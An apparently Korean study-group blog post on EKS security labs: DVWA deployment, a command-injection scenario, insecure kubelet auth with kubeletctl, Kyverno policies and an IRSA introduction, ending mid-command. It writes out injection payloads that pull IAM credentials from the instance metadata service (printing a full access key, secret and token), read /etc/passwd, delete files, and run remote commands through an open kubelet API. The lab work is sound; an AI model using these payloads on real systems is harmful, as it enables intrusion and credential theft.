    matchLabels:
      app: dvwa-mysql
      tier: backend
  template:
    metadata:
      labels:
        app: dvwa-mysql
        tier: backend
    spec:
      containers:
        - name: mysql
          image: mariadb:10.1
          resources:
            requests:
              cpu: "0.3"
              memory: 256Mi
            limits:
              cpu: "0.3"
              memory: 256Mi
          ports:
            - containerPort: 3306
          env:
            - name: MYSQL_ROOT_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: ROOT_PASSWORD
            - name: MYSQL_USER
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
EOT
kubectl apply -f mysql.yaml

dvwa 배포

cat <<EOT > dvwa.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: dvwa-config
data:
  RECAPTCHA_PRIV_KEY: ""
  RECAPTCHA_PUB_KEY: ""
  SECURITY_LEVEL: "low"
  PHPIDS_ENABLED: "0"
  PHPIDS_VERBOSE: "1"
  PHP_DISPLAY_ERRORS: "1"
---
apiVersion: v1
kind: Service
metadata:
  name: dvwa-web-service
spec:
  selector:
    app: dvwa-web
  type: ClusterIP
  ports:
    - protocol: TCP
      port: 80
      targetPort: 80
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-web
spec:
  replicas: 1
  selector:
    matchLabels:
      app: dvwa-web
  template:
    metadata:
      labels:
        app: dvwa-web
    spec:
      containers:
        - name: dvwa
          image: cytopia/dvwa:php-8.1
          ports:
            - containerPort: 80
          resources:
            requests:
              cpu: "0.3"
              memory: 256Mi
            limits:
              cpu: "0.3"
              memory: 256Mi
          env:
            - name: RECAPTCHA_PRIV_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PRIV_KEY
            - name: RECAPTCHA_PUB_KEY
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: RECAPTCHA_PUB_KEY
            - name: SECURITY_LEVEL
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: SECURITY_LEVEL
            - name: PHPIDS_ENABLED
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_ENABLED
            - name: PHPIDS_VERBOSE
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHPIDS_VERBOSE
            - name: PHP_DISPLAY_ERRORS
              valueFrom:
                configMapKeyRef:
                  name: dvwa-config
                  key: PHP_DISPLAY_ERRORS
            - name: MYSQL_HOSTNAME
              value: dvwa-mysql-service
            - name: MYSQL_DATABASE
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_DATABASE
            - name: MYSQL_USERNAME
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_USERNAME
            - name: MYSQL_PASSWORD
              valueFrom:
                secretKeyRef:
                  name: dvwa-secrets
                  key: DVWA_PASSWORD
EOT
kubectl apply -f dvwa.yaml

ingress 배포

cat <<EOT > dvwa-ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  annotations:
    alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
    alb.ingress.kubernetes.io/group.name: study
    alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
    alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/ssl-redirect: "443"
    alb.ingress.kubernetes.io/success-codes: 200-399
    alb.ingress.kubernetes.io/target-type: ip
  name: ingress-dvwa
spec:
  ingressClassName: alb
  rules:
  - host: dvwa.$MyDomain
    http:
      paths:
      - backend:
          service:
            name: dvwa-web-service
            port:
              number: 80
        path: /
        pathType: Prefix
EOT
kubectl apply -f dvwa-ingress.yaml
echo -e "DVWA Web https://dvwa.$MyDomain"

Command Injection 시나리오

웹 접속 admin / password → DB 구성을 위해 클릭 (재로그인) ⇒ admin / password

# 명령 실행 가능 확인
8.8.8.8 ; echo ; hostname
8.8.8.8 ; echo ; whoami

# IMDSv2 토큰 복사해두기
8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==

# EC2 Instance Profile (IAM Role) 이름 확인
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/
eksctl-myeks-nodegroup-ng1-NodeInstanceRole-kgZD1dU60nuF

# EC2 Instance Profile (IAM Role) 자격증명탈취 
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-kgZD1dU60nuF
{
  "Code" : "Success",
  "LastUpdated" : "2023-05-28T08:57:40Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA5ILF2FJITL3SDNHF",
  "SecretAccessKey" : "vYKlEwY2sEOhZuSLl3YHuuantav9wCQyuBXi/Utq",
  "Token" : "IQoJb3JpZ2luX2VjECEaDmFwLW5vcnRoZWFzdC0yIkcwRQIgFGjfFf2Mw+PBWyyiwdvz/F4BTA9jWFsxxOlqnuGr9zUCIQDpG/aispNmH33bKme7+nOcgixKwrZJAiElX6HD9ZybWyrMBQhaEAEaDDkxMTI4MzQ2NDc4NSIM852DvLWwQ2F0+h3YKqkFORn7pJxNAZ62USbc6+MwtCa+F2scLKsBgcAtsGVu9pMbQIqiFqojIw1BX+7mDu7V+wVcwifMNV+5idGSewHnAmflFRcFFDqmmaR963rZ5D+HVsdNnWWzEYYI7YRREsoHEu1qp4WfAolF0wry5bZUVuKW4nfRFI7gWdHjEvGf3Q8X6g42N4NL25APbk4f4L1G/NyfwSNtX6SH/KJOkEfICCl0dERTeTLKPmFEyRg6eW2GodR2EOmrzNgV526elVAGr0xR+dSKLHtueoI6RMQzVcWa7PTTfCpy5fdgfJddewrWcqiVbS5XdsFsSyAryYoQsa2Qv2OcC0kPOicDOsvx0gTg9Aa0hQ+jMmjoiKXYp/Tl5uNzrjyUyEEwm8BO54Bz40qAVJTRAKXFfgpg6ypNeGeS8tsrZ0zIGSlU0bzBCDwbtPkmwk8vposE0sbLZltFypdJOCZwkL4PeQGG3pIVoFvq0ldlw+YMDJ84iUcRGIsyyPT1a5dAkHC+NYcJ9dd02hGpEfJLhj5I6MbzFHc2GAbBivT7a6P+Td2yZEP8YbpTZi9c/yXptV6r+ALvpeSCFpsr0NrPNpesxyOXc0f30fGHiTaodZ/a1avjb9gyotM+LHgKELvBlPt48Hu8duoAclP+/BvLUJHQAbAgKXGcbxtyvZiFEvrw2DPlJNgDcp06CQMzUGtyboE6H4B8gZxqVUI0c8WcCvKpsCYTWqj8EUjFLuUvBu3EzN/z8XynFdoLV1GLR/HRFpYmcI0InP3ScHi/tFoxs3SqPjcDn0G0QVd+vix4CxwXUHGehR4pEKlUoUxUzpCcE61MgZIijM54wcb4CJ6lL0YQQT0hoJBkE574xa4OibT/6d8qRP+9LzlkJ8Ir2FLN2mcjluPYLNs/nYPdqbZ5xlPeML6vzKMGOrEBz8jfqk9F1TtITJs/+EIouyyG/1cEJFYFEcqJJZ1nDqvY4CY11HX1GU8GDtWyYfXGOejQK1dTB8RCOcYdfKYXQGHT3Dl7Y/zLrA69Si7Vs28oZfEHLd0BDp6sFY8u1zN6jxI6NLnICa00RbWkqI70SiAzLKWAektS5LgbDU7liyH90vJ0IfqnlntN4nNFyB40l8JFlpL7ks+mGzsDLlCZjXWdPjrX/emHek7pktkfnI9V",
  "Expiration" : "2023-05-28T15:03:24Z"
}

# 그외 다양한 명령 실행 가능
8.8.8.8; cat /etc/passwd
8.8.8.8; rm -rf /tmp/*

DVWA Security : Medium 변경 후 시도 → 더 이상 명령 실행 X ⇒ 다음 실습을 위해 Low 다시 변경
Low Command Injection Source

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

Medium Command Injection Source

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

Kubelet 미흡한 인증/인가 설정 시 위험 + kubeletct 툴

[myeks-bastion]

# 노드의 kubelet API 인증과 인가 관련 정보 확인
ssh ec2-user@$N1 cat /etc/kubernetes/kubelet/kubelet-config.json | jq
ssh ec2-user@$N1 cat /var/lib/kubelet/kubeconfig | yh

# 노드의 kubelet 사용 포트 확인 
ssh ec2-user@$N1 sudo ss -tnlp | grep kubelet
LISTEN 0      4096       127.0.0.1:10248      0.0.0.0:*    users:(("kubelet",pid=2940,fd=20))
LISTEN 0      4096               *:10250            *:*    users:(("kubelet",pid=2940,fd=21))

# 데모를 위해 awscli 파드 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: myawscli
spec:
  #serviceAccountName: my-sa
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 파드 사용
kubectl exec -it myawscli -- aws sts get-caller-identity --query Arn
kubectl exec -it myawscli -- aws s3 ls
kubectl exec -it myawscli -- aws ec2 describe-instances --region ap-northeast-2 --output table --no-cli-pager
kubectl exec -it myawscli -- aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager

[myeks-bastion-2] kubeletct 설치 및 사용

# 기존 kubeconfig 삭제
rm -rf ~/.kube

# 다운로드
curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl
kubeletctl version
kubeletctl help

# 노드1 IP 변수 지정
N1=<각자 자신의 노드1의 PrivateIP>
N1=192.168.1.81

# 노드1 IP로 Scan
kubeletctl scan --cidr $N1/32

# 노드1에 kubelet API 호출 시도
curl -k https://$N1:10250/pods; echo
Unauthorized

[myeks-bastion] → 노드1 접속 : kubelet-config.json 수정

# 노드1 접속
ssh ec2-user@$N1
-----------------------------
# 미흡한 인증/인가 설정으로 변경
sudo vi /etc/kubernetes/kubelet/kubelet-config.json
...
"authentication": {
    "anonymous": {
      "enabled": true
...
  },
  "authorization": {
    "mode": "AlwaysAllow",
...

# kubelet restart
sudo systemctl restart kubelet
systemctl status kubelet
-----------------------------

[myeks-bastion-2] kubeletctl 사용

# 파드 목록 확인
curl -s -k https://$N1:10250/pods | jq

# kubelet-config.json 설정 내용 확인
curl -k https://$N1:10250/configz | jq

# kubeletct 사용
# Return kubelet's configuration
kubeletctl -s $N1 configz | jq

# Get list of pods on the node
kubeletctl -s $N1 pods

# Scans for nodes with opened kubelet API > Scans for for all the tokens in a given Node
kubeletctl -s $N1 scan token

# 단, 아래 실습은 워커노드1에 myawscli 파드가 배포되어 있어야 실습이 가능. 물론 노드2~3에도 kubelet 수정하면 실습 가능함.
# kubelet API로 명령 실행 : <네임스페이스> / <파드명> / <컨테이너명>
curl -k https://$N1:10250/run/default/myawscli/my-aws-cli -d "cmd=aws --version"

# Scans for nodes with opened kubelet API > remote code execution on their containers
kubeletctl -s $N1 scan rce

# Run commands inside a container
kubeletctl -s $N1 exec "/bin/bash" -n default -p myawscli -c my-aws-cli
--------------------------------
export
aws --version
aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
exit
--------------------------------

# Return resource usage metrics (such as container CPU, memory usage, etc.)
kubeletctl -s $N1 metrics

Kyverno

Kyverno는 Kubernetes용으로 특별히 설계된 정책 엔진입니다.
- Policy-as-Code를 시행할 수 있는 CNCF(Cloud Native Computing Foundation) 프로젝트입니다.
- 학습할 새로운 언어없이 YAML로 작성된 선언형(declarative) 리소스를 허용하며 결과는 Kubernetes 리소스 및 이벤트로 제공됩니다.
- 정책을 사용하여 리소스 구성을 validate, mutate, generate할 수 있습니다.
- 정책은 kind, name, label selectors 등을 사용하여 리소스를 일치시킬 수 있습니다.

동작

Dynamic Admission Control 로 실행되며 Mutating/Validating admission 에서 동작하여 허용/거부 결과를 반환합니다.

https://kyverno.io/docs/introduction/

설치

https://kyverno.io/docs/installation/

kube-system 네임스페이스에 있는 파드들은 정책이 적용되지 않도록 예외처리를 해주어야 합니다.

# 설치
# EKS 설치 시 참고 https://kyverno.io/docs/installation/platform-notes/#notes-for-eks-users
# 모니터링 참고 https://kyverno.io/docs/monitoring/
cat << EOF > kyverno-value.yaml
config:
  resourceFiltersExcludeNamespaces: [ kube-system ]

admissionController:
  serviceMonitor:
    enabled: true

backgroundController:
  serviceMonitor:
    enabled: true

cleanupController:
  serviceMonitor:
    enabled: true

reportsController:
  serviceMonitor:
    enabled: true
EOF
kubectl create ns kyverno
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --version 3.2.0-rc.3 -f kyverno-value.yaml -n kyverno

# 확인
kubectl get all -n kyverno
kubectl get crd | grep kyverno
kubectl get pod,svc -n kyverno

# (참고) 기본 인증서 확인 https://kyverno.io/docs/installation/customization/#default-certificates
# step-cli 설치 https://smallstep.com/docs/step-cli/installation/
wget https://dl.smallstep.com/cli/docs-cli-install/latest/step-cli_amd64.rpm
sudo rpm -i step-cli_amd64.rpm

#
kubectl -n kyverno get secret
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-07T06:05:52Z
          to:  2025-04-07T07:05:52Z

#
kubectl get validatingwebhookconfiguration kyverno-policy-validating-webhook-cfg -o jsonpath='{.webhooks[0].clientConfig.caBundle}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
  Subject:     *.kyverno.svc
  Issuer:      *.kyverno.svc
  Valid from:  2024-04-07T06:05:52Z
          to:  2025-04-07T07:05:52Z

프로메테우스

kyverno 메트릭들을 프로메테우스에서 조회할 수 있습니다.

그라파나 (15987, 15804)

공식 제공되는 kyverno 대시보드를 통해 메트릭들을 쉽게 시각화할 수 있습니다.

Policy and Role

https://kyverno.io/docs/kyverno-policies/

각 규칙은 Match 선언, 선택적(Exclude) 선언 및 Validate, Mutate, Generate 또는 Verify Images 선언 중 하나로 구성됩니다.
각 규칙에는 단일 Validate, Mutate, Generate또는 Verify Images 하위 선언만 포함될 수 있습니다.

Validation

# 모니터링
watch -d kubectl get pod -n kyverno

# ClusterPolicy 적용
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-labels
spec:
  validationFailureAction: Enforce
  rules:
  - name: check-team
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: "label 'team' is required"
      pattern:
        metadata:
          labels:
            team: "?*"
EOF

# 확인
kubectl get validatingwebhookconfigurations
kubectl get ClusterPolicy
NAME             ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE   MESSAGE
require-labels   true        true         Enforce           True    12s   Ready

# 디플로이먼트 생성 시도
kubectl create deployment nginx --image=nginx
error: failed to create deployment: admission webhook "validate.kyverno.svc-fail" denied the request: 

resource Deployment/default/nginx was blocked due to the following policies 

require-labels:
  autogen-check-team: 'validation error: label ''team'' is required. rule autogen-check-team
    failed at path /spec/template/metadata/labels/team/'

# 디플로이먼트 생성 시도
kubectl run nginx --image nginx --labels team=backend
kubectl get pod -l team=backend

# 확인
kubectl get policyreport -o wide
NAME                                   KIND         NAME                          PASS   FAIL   WARN   ERROR   SKIP   AGE
e1073f10-84ef-4999-9651-9983c49ea76a   Pod          nginx                         1      0      0      0       0      29s

kubectl get policyreport e1073f10-84ef-4999-9651-9983c49ea76a -o yaml | kubectl neat | yh
apiVersion: wgpolicyk8s.io/v1alpha2
kind: PolicyReport
metadata: 
  labels: 
    app.kubernetes.io/managed-by: kyverno
  name: e1073f10-84ef-4999-9651-9983c49ea76a
  namespace: default
results: 
- message: validation rule 'check-team' passed.
  policy: require-labels
  result: pass
  rule: check-team
  scored: true
  source: kyverno
  timestamp: 
    nanos: 0
    seconds: 1712473900
scope: 
  apiVersion: v1
  kind: Pod
  name: nginx
  namespace: default
  uid: e1073f10-84ef-4999-9651-9983c49ea76a
summary: 
  error: 0
  fail: 0
  pass: 1
  skip: 0
  warn: 0

# 정책 삭제
kubectl delete clusterpolicy require-labels

Mutation

#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: add-labels
spec:
  rules:
  - name: add-team
    match:
      any:
      - resources:
          kinds:
          - Pod
    mutate:
      patchStrategicMerge:
        metadata:
          labels:
            +(team): bravo
EOF

# 확인
kubectl get mutatingwebhookconfigurations
kubectl get ClusterPolicy
NAME         ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE     MESSAGE
add-labels   true        true         Audit             True    6m41s   Ready

# 파드 생성 후 label 확인
kubectl run redis --image redis
kubectl get pod redis --show-labels

# 파드 생성 후 label 확인 : 바로 위와 차이점은?
kubectl run newredis --image redis -l team=alpha
kubectl get pod newredis --show-labels

# 삭제
kubectl delete clusterpolicy add-labels

Generation (새로운 네임스페이스에 Image Pull Secret 생성)

# First, create this Kubernetes Secret in your cluster which will simulate a real image pull secret.
kubectl -n default create secret docker-registry regcred \
  --docker-server=myinternalreg.corp.com \
  --docker-username=john.doe \
  --docker-password=Passw0rd123! \
  --docker-email=john.doe@corp.com

#
kubectl get secret regcred
NAME      TYPE                             DATA   AGE
regcred   kubernetes.io/dockerconfigjson   1      26s

#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: sync-secrets
spec:
  rules:
  - name: sync-image-pull-secret
    match:
      any:
      - resources:
          kinds:
          - Namespace
    generate:
      apiVersion: v1
      kind: Secret
      name: regcred
      namespace: "{{request.object.metadata.name}}"
      synchronize: true
      clone:
        namespace: default
        name: regcred
EOF

#
kubectl get ClusterPolicy
NAME           ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE   MESSAGE
sync-secrets   true        true         Audit             True    8s    Ready

# 신규 네임스페이스 생성 후 확인
kubectl create ns mytestns
kubectl -n mytestns get secret

# 삭제
kubectl delete clusterpolicy sync-secrets

Kyverno CLI

# Install Kyverno CLI using kubectl krew plugin manager
kubectl krew install kyverno

# test the Kyverno CLI
kubectl kyverno version
kubectl kyverno --help

[AEWS] EKS IRSA & Pod Identitty

imxsuu — Fri, 12 Apr 2024 00:23:37 +0900

EKS IRSA & Pod Identitty

EC2 Instance Profile

사용하기 편하지만, 노드당 권한이 부여되는 방식으로 최소 권한 부여 원칙에 위배하여 하나의 파드가 해킹당하면 해당 파드에서 노드에 부여된 권한을 모두 사용할 수 있어 보안상 권고되지 않습니다.

https://sharing-for-us.tistory.com/40

# 설정 예시 1 : eksctl 사용 시
eksctl create cluster --name $CLUSTER_NAME ... --external-dns-access --full-ecr-access --asg-access

# 설정 예시 2 : eksctl로 yaml 파일로 노드 생성 시
cat myeks.yaml | yh
...
managedNodeGroups:
- amiFamily: AmazonLinux2
  iam:
    withAddonPolicies:
      albIngress: false
      appMesh: false
      appMeshPreview: false
      autoScaler: true
      awsLoadBalancerController: false
      certManager: true
      cloudWatch: true
      ebs: false
      efs: false
      externalDNS: true
      fsx: false
      imageBuilder: true
      xRay: false
...

# 설정 예시 3 : 테라폼
...

IRSA

동작방식 : k8s 파드 → AWS 서비스 사용 시 ⇒ AWS STS/IAM ↔ IAM OIDC Identity Provider(EKS IdP) 인증/인가

필요 지식 : Service Account Token Volume Projection, Admission Control, JWT(JSON Web Token), OIDC

1. Service Account Token Volume Projection : '서비스 계정 토큰'의 시크릿 기반 볼륨 대신 'Projected Volume' 사용

서비스 계정 토큰을 이용해서 서비스와 서비스, 즉 파드와 파드의 호출에서 자격 증명으로 사용할 수 있을까요?
불행히도 기본 서비스 계정 토큰으로는 사용하기에 부족함이 있습니다. 토큰을 사용하는 대상(audience), 유효 기간(expiration) 등 토큰의 속성을 지정할 필요가 있기 때문입니다.
Service Account Token Volume Projection 기능을 사용하면 이러한 부족한 점들을 해결할 수 있습니다.

apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  containers:
  - image: nginx
    name: nginx
    volumeMounts:
    - mountPath: /var/run/secrets/tokens
      name: vault-token
  serviceAccountName: build-robot
  volumes:
  - name: vault-token
    projected:
      sources:
      - serviceAccountToken:
          path: vault-token
          expirationSeconds: 7200
          audience: vault

2. Bound Service Account Token Volume

FEATURE STATE: Kubernetes v1.22 [stable]
서비스 어카운트 어드미션 컨트롤러는 토큰 컨트롤러에서 생성한 만료되지 않은 서비스 계정 토큰에 시크릿 기반 볼륨 대신 다음과 같은 프로젝티드 볼륨을 추가합니다.

- name: kube-api-access-<random-suffix>
  projected:
    defaultMode: 420 # 420은 rw- 로 소유자는 읽고쓰기 권한과 그룹내 사용자는 읽기만, 보통 0644는 소유자는 읽고쓰고실행 권한과 나머지는 읽고쓰기 권한
    sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
            - key: ca.crt
              path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace

Projected Volume은 다음의 세 가지로 구성됩니다.

kube-apiserver로부터 TokenRequest API를 통해 얻은 serviceAccountToken. 이는 기본적으로 1시간 뒤 또는 파드가 삭제될 때 만료됩니다. Service Account Token은 파드에 연결되며 kube-apiserver를 위해 존재합니다.
kube-apiserver에 대한 연결을 확인하는 데 사용되는 CA 번들을 포함하는 configMap
파드의 네임스페이스를 참조하는 downwardAPI

Configure a Pod to Use a Projected Volume for Storage : secrets configMap downwardAPI serviceAccountToken의 볼륨 마운트를 하나의 디렉토리에 통합하는 기능
- Note: serviceAccountToken is not a volume type.

apiVersion: v1
kind: Pod
metadata:
  name: test-projected-volume
spec:
  containers:
  - name: test-projected-volume
    image: busybox:1.28
    args:
    - sleep
    - "86400"
    volumeMounts:
    - name: all-in-one
      mountPath: "/projected-volume"
      readOnly: true
  volumes:
  - name: all-in-one
    projected:
      sources:
      - secret:
          name: user
      - secret:
          name: pass

# Create the Secrets:
## Create files containing the username and password:
echo -n "admin" > ./username.txt
echo -n "1f2d1e2e67df" > ./password.txt

## Package these files into secrets:
kubectl create secret generic user --from-file=./username.txt
kubectl create secret generic pass --from-file=./password.txt

# 파드 생성
kubectl apply -f https://k8s.io/examples/pods/storage/projected.yaml

# 파드 확인
kubectl get pod test-projected-volume -o yaml | kubectl neat | yh

# 시크릿 확인
kubectl exec -it test-projected-volume -- ls /projected-volume/

kubectl exec -it test-projected-volume -- cat /projected-volume/username.txt ;echo

kubectl exec -it test-projected-volume -- cat /projected-volume/password.txt ;echo

# 삭제
kubectl delete pod test-projected-volume && kubectl delete secret user pass

IRSA 소개

파드가 특정 IAM 역할로 Assume 할 때 토큰을 AWS에 전송하고, AWS는 토큰과 EKS IdP를 통해 해당 IAM 역할을 사용할 수 있는지 검증

https://github.com/awskrug/security-group/blob/main/files/AWSKRUG_2024_02_EKS_ROLE_MANAGEMENT.pdf

https://aws.amazon.com/ko/blogs/containers/diving-into-iam-roles-for-service-accounts/

https://awskoreamarketingasset.s3.amazonaws.com/2022 Summit/pdf/T10S1_EKS 환경을 더 효율적으로 더 안전하게.pdf

AWS SDK는 AWS_ROLE_ARN 및 AWS_WEB_IDENTITY_TOKEN_FILE 이름의 환경변수를 읽어들여 Web Identity 토큰으로 AssumeRoleWithWebIdentify를 호출함으로써 Assume Role을 시도하여 임시 자격 증명을 획득하고, 특정 IAM Role 역할을 사용할 수 있게 됩니다.
이때 Assume Role 동작을 위한 인증은 AWS가 아닌 외부 Web IdP(EKS IdP)에 위임하여 처리합니다.

https://tech.devsisters.com/posts/pod-iam-role/

EKS IdP를 identity provider로 등록하고, 파드가 Web Identify 토큰을 통해 IAM 역할을 Assume 할 수 있게 Trust Relationship 설정이 필요합니다.

실습 1

# 파드1 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test1
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      args: ['s3', 'ls']
  restartPolicy: Never
  automountServiceAccountToken: false
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod
kubectl describe pod

# 로그 확인
kubectl logs eks-iam-test1

# 파드1 삭제
kubectl delete pod eks-iam-test1

S3 버킷 조회를 위한 AccountToken이 존재하지 않기 때문에 AccessDenied이 발생합니다.
CloudTrail 이벤트 ListBuckets 확인
https://ap-northeast-2.console.aws.amazon.com/cloudtrail/home?region=ap-northeast-2#/events?EventName=ListBuckets 에서 AccessDenied를 확인할 수 있습니다.

실습 2 (Kubernetes Service Accounts)

쿠버네티스 파드에는 Kubernetes Service Account라는 개념을 통해 Identity가 부여됩니다.
Service Account가 생성되면 JWT 토큰이 자동으로 Secret으로 생성됩니다.
Secret을 파드에 마운트하고 해당 Service Account에서 Kubernetes API 서버에 인증하는 데 사용할 수 있습니다.

# 파드2 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: eks-iam-test2
spec:
  containers:
    - name: my-aws-cli
      image: amazon/aws-cli:latest
      command: ['sleep', '36000']
  restartPolicy: Never
  terminationGracePeriodSeconds: 0
EOF

# 확인
kubectl get pod
kubectl describe pod
kubectl get pod eks-iam-test2 -o yaml | kubectl neat | yh
kubectl exec -it eks-iam-test2 -- ls /var/run/secrets/kubernetes.io/serviceaccount
kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token ;echo

# aws 서비스 사용 시도
kubectl exec -it eks-iam-test2 -- aws s3 ls

# 서비스 어카운트 토큰 확인
SA_TOKEN=$(kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $SA_TOKEN

# jwt 혹은 아래 JWT 웹 사이트 이용 https://jwt.io/
jwt decode $SA_TOKEN --json --iso8601
...

#헤더
{
  "alg": "RS256",
  "kid": "1a8fcaee12b3a8f191327b5e9b997487ae93baab"
}

# 페이로드 : OAuth2에서 쓰이는 aud, exp 속성 확인! > projectedServiceAccountToken 기능으로 토큰에 audience,exp 항목을 덧붙힘
## iss 속성 : EKS OpenID Connect Provider(EKS IdP) 주소 > 이 EKS IdP를 통해 쿠버네티스가 발급한 토큰이 유요한지 검증
{
  "aud": [
    "https://kubernetes.default.svc"  # 해당 주소는 k8s api의 ClusterIP 서비스 주소 도메인명, kubectl get svc kubernetes
  ],
  "exp": 1716619848,
  "iat": 1685083848,
  "iss": "https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6",
  "kubernetes.io": {
    "namespace": "default",
    "pod": {
      "name": "eks-iam-test2",
      "uid": "10dcccc8-a16c-4fc7-9663-13c9448e107a"
    },
    "serviceaccount": {
      "name": "default",
      "uid": "acb6c60d-0c5f-4583-b83b-1b629b0bdd87"
    },
    "warnafter": 1685087455
  },
  "nbf": 1685083848,
  "sub": "system:serviceaccount:default:default"
}

# 파드2 삭제
kubectl delete pod eks-iam-test2

실습 3 (AWS IAM 액세스가 필요한 파드를 변경하기 위한 Webhook)

https://dev.to/aws-builders/auditing-aws-eks-pod-permissions-4637

Webhook이 새 토큰을 파드에 삽입하기 위해 새로운 쿠버네티스 Service Account를 생성하고 Service Account에 AWS IAM 역할 ARN Annotation을 추가한 다음 쿠버네티스 파드에서 이 새로운 쿠버네티스 Service Account를 참조합니다. eksctl 도구를 사용하면 몇 가지 단계를 자동화할 수 있지만 모든 단계를 수동으로 수행할 수도 있습니다.
"eksctl create iamserviceaccount" 명령이 생성하는 것:
1. 쿠버네티스 Service Account
2. 지정된 정책이 있는 IAM role
3. 해당 IAM role에 대한 신뢰 정책

https://sharing-for-us.tistory.com/40

생성된 IAM 역할 ARN으로 쿠버네티스 Service Account에 Annotation을 추가합니다.

# Create an iamserviceaccount - AWS IAM role bound to a Kubernetes service account
eksctl create iamserviceaccount \
  --name my-sa \
  --namespace default \
  --cluster $CLUSTER_NAME \
  --approve \
